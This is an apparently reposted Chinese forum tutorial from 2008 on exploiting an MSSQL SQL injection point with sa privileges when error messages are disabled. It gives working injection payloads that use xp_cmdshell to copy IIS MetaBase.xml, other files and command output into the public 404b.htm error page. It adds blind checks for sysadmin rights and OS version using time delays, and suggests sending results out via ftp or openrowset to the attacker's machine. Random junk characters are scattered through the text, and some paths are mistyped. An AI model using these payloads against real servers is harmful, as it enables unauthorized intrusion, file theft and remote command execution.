遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。8 r: l7 m8 h1 K
, j! k7 f, q8 C( x4 m" F$ i 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。, \' C4 V& y% N+ o/ i) U6 d8 L
9 q9 v+ K9 a& f 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
/ u* v; u7 N/ c" p" o; T; w
/ [7 z. \2 w" o2 P$ k IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
6 b7 }1 W- E( U5 f7 n* f
8 n+ [# N$ ]3 V) A9 F/ U 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--( P6 [$ |5 s4 A! K7 ]% S
+ e5 O* h/ |7 \3 R7 [8 C6 x ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
4 \+ A8 M5 [2 `5 ^1 v n- q: w8 v7 c1 f
执行命令得到回显: K% I5 k% [3 u. f
6 S, g1 Z* D4 j O 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
( e# B b. H& P$ ?7 W2 }0 n9 @. q$ `- \/ j' h# i. a% B. m1 A3 L: j% E
得到文件也shi相同,把文件copy到404b.htm就行了
: \$ H! u( n; A
- ?( I( ^& X' i, J8 R by 28ice, 2008/6/260 C" L/ l% h' n: M! [; o% y: v
* u+ z9 E6 d/ A s% g. }
摘自 28度的冰
" n: }2 F1 I& j7 D) V" x
) u. b; M) c; q, E7 ` 盲注判断权限和操作系统版本0 E. Q2 @/ `! H. k
& a2 B1 w1 @: e8 i7 m 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
6 }& p9 ?* I$ A; s: n& _$ x* ~! L' y6 l" _2 O$ A( k. Y
最简单的,可能以用这样的方法:0 d* W3 w% ?+ w/ R/ O
/ s ]4 E3 J/ r) o$ e. c 1=(select IS_SRVROLEMEMBER(’sysadmin’))5 y# ?5 R7 F+ ], W. n* g0 I) y( Y6 {
^7 g% P& } t& @2 _6 I 当然,有些情况下,这个方法并不奏效。7 ?- v" p r; @% M1 c) k7 d s4 A
9 Q! |' W6 F" s 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。; ^: S3 s2 G) n# ^1 s) G& r
7 K/ O) X9 g7 P3 [+ N3 t9 Z( ^
有个3办法可能以解决这个问题& @( `1 \. C) }) m. K* L* @
" a0 @3 p/ i! f4 X/ `( f
a.把执行结果写到404b.htm,具体请看我的上一篇文章
# L2 ~! j+ o" h9 y& H; E2 z4 L6 s g% V& c' Y2 R9 J, P
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
1 t# q: C% k! H5 V- K+ J+ r. x
! ?# N' \, z0 k' m# o- e& H; T7 O# I c.如果1433端口可能以连接,那干脆新建个sql登录
4 A4 a4 n3 f1 }; p9 c* [, h. M# k" A- x# j$ k+ J; E
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数/ A5 @% ^1 g6 Z; V' ?5 W$ a. D
7 |3 ?$ h" ?3 E% p0 q3 p
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下" S, n8 p9 L, y0 p2 W: W" V
$ W9 i' {, `( i! z! o. ` 很简单, a* s/ \1 c* }' f' r6 n
4 _0 o0 Q j9 x/ k 执行systeminfo
2 m! A4 Q. H' S, `( V6 b6 g6 J. N& i) L3 f2 P$ z, Z5 a% y
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |